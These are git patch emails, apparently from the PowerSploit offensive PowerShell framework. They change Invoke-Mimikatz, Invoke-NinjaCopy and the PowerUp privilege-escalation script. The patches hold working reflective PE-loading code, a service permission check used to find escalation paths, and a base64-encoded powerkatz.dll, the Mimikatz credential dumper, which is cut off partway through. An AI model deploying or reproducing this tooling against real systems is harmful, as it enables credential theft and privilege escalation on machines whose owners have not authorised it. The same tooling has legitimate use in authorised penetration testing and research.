[IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - } - else - { - $FinalEndAddress = $EndAddress - } + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) $PEEndAddress = $PEInfo.EndAddress diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 835d7a73..85cef301 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -802,24 +802,12 @@ $RemoteScriptBlock = { [IntPtr] $StartAddress, - [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] - [IntPtr] - $EndAddress, - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) - [IntPtr]$FinalEndAddress = [IntPtr]::Zero - if ($PsCmdlet.ParameterSetName -eq "Size") - { - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - } - else - { - $FinalEndAddress = $EndAddress - } + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) $PEEndAddress = $PEInfo.EndAddress diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index 7ff5bfaf..36cef8dd 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -818,24 +818,12 @@ $RemoteScriptBlock = { [IntPtr] $StartAddress, - [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] - [IntPtr] - $EndAddress, - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) - [IntPtr]$FinalEndAddress = [IntPtr]::Zero - if ($PsCmdlet.ParameterSetName -eq "Size") - { - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - } - else - { - $FinalEndAddress = $EndAddress - } + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) $PEEndAddress = $PEInfo.EndAddress From 0181ff0c096216b105569fea2cc08f2d166aa3cb Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 14 Dec 2015 21:53:42 -0500 Subject: [PATCH 058/296] Removed C# enum for Test-ServiceDaclPermission --- Privesc/PowerUp.ps1 | 84 ++++++++++++++++++++++----------------------- 1 file changed, 42 insertions(+), 42 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index fe7e1b1f..3769b716 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -15,30 +15,6 @@ # ######################################################## -Add-Type @" - [System.FlagsAttribute] - public enum ServiceAccessFlags : uint - { - CC = 1, - DC = 2, - LC = 4, - SW = 8, - RP = 16, - WP = 32, - DT = 64, - LO = 128, - CR = 256, - SD = 65536, - RC = 131072, - WD = 262144, - WO = 524288, - GA = 268435456, - GX = 536870912, - GW = 1073741824, - GR = 2147483648 - } -"@ - function Get-ModifiableFile { <# .SYNOPSIS @@ -134,15 +110,15 @@ function Test-ServiceDaclPermission { #> [CmdletBinding()] - Param( - [Parameter(Mandatory = $True)] - [string] - $ServiceName, + Param( + [Parameter(Mandatory = $True)] + [string] + $ServiceName, - [Parameter(Mandatory = $True)] - [string] - $Dacl - ) + [Parameter(Mandatory = $True)] + [string] + $Dacl + ) # check if sc.exe exists if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ @@ -150,16 +126,36 @@ function Test-ServiceDaclPermission { return $False } + $ServiceAccessFlags = @{ + CC = 1 + DC = 2 + LC = 4 + SW = 8 + RP = 16 + WP = 32 + DT = 64 + LO = 128 + CR = 256 + SD = 65536 + RC = 131072 + WD = 262144 + WO = 524288 + GA = 268435456 + GX = 536870912 + GW = 1073741824 + GR = 2147483648 + } + # query WMI for the service $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - + # make sure we got a result back if (-not ($TargetService)){ Write-Warning "[!] Target service '$ServiceName' not found on the machine" return $False } - try { + # try { # retrieve DACL from sc.exe $Result = sc.exe sdshow $TargetService.Name | where {$_} @@ -181,9 +177,13 @@ function Test-ServiceDaclPermission { # check if the group/user SID is included in the ACE if ($Sid -eq $Ace.SecurityIdentifier){ - + # convert the AccessMask to a service DACL string - $DaclString = [string]([ServiceAccessFlags] $Ace.AccessMask) -replace ', ','' + $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { + if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { + $_ + } + }) -join "" # convert the input DACL to an array $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) @@ -201,18 +201,18 @@ function Test-ServiceDaclPermission { } } # found all permissions - success - if ($MatchedPermissions-eq $DaclArray.Count){ + if ($MatchedPermissions -eq $DaclArray.Count){ return $True } } } } return $False - } - catch{ - Write-Warning "Error: $_" - return $False - } + # } + # catch{ + # Write-Warning "Error: $_" + # return $False + # } } function Invoke-ServiceStart { From 55fabd7e2e7120f22769f3b4e058da221d30474e Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 14 Dec 2015 22:00:21 -0500 Subject: [PATCH 059/296] Removed commented blocks. --- Privesc/PowerUp.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 3769b716..0d71b143 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -155,7 +155,7 @@ function Test-ServiceDaclPermission { return $False } - # try { + try { # retrieve DACL from sc.exe $Result = sc.exe sdshow $TargetService.Name | where {$_} @@ -208,11 +208,11 @@ function Test-ServiceDaclPermission { } } return $False - # } - # catch{ - # Write-Warning "Error: $_" - # return $False - # } + } + catch{ + Write-Warning "Error: $_" + return $False + } } function Invoke-ServiceStart { From e144be7f292fff0832e5c1b08f296deea3379d2b Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 14 Dec 2015 20:21:36 -0800 Subject: [PATCH 060/296] Invoke-Mimkatz: Incorporated latest 2.0 alpha build Updated embedded powerkatz.dll to the latest version of mimikatz - [Commit 1b13057](https://github.com/gentilkiwi/mimikatz/commit/1b130574ed78d1d9bf6117b0839056900cb8f816) This update addresses issue #94. --- Exfiltration/Invoke-Mimikatz.ps1 | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 85cef301..6934584e 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -2191,7 +2191,7 @@ $RemoteScriptBlock = { $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $OriginalImageBase = $PEInfo.OriginalImageBase $NXCompatible = $true - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) { Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue $NXCompatible = $false @@ -2249,7 +2249,7 @@ $RemoteScriptBlock = { Write-Verbose "Allocating memory for the PE and write its headers to memory" [IntPtr]$LoadAddr = [IntPtr]::Zero - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) { Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue [IntPtr]$LoadAddr = $OriginalImageBase @@ -2723,10 +2723,13 @@ Function Main [System.IO.Directory]::SetCurrentDirectory($pwd) - - $PEBytes64 = "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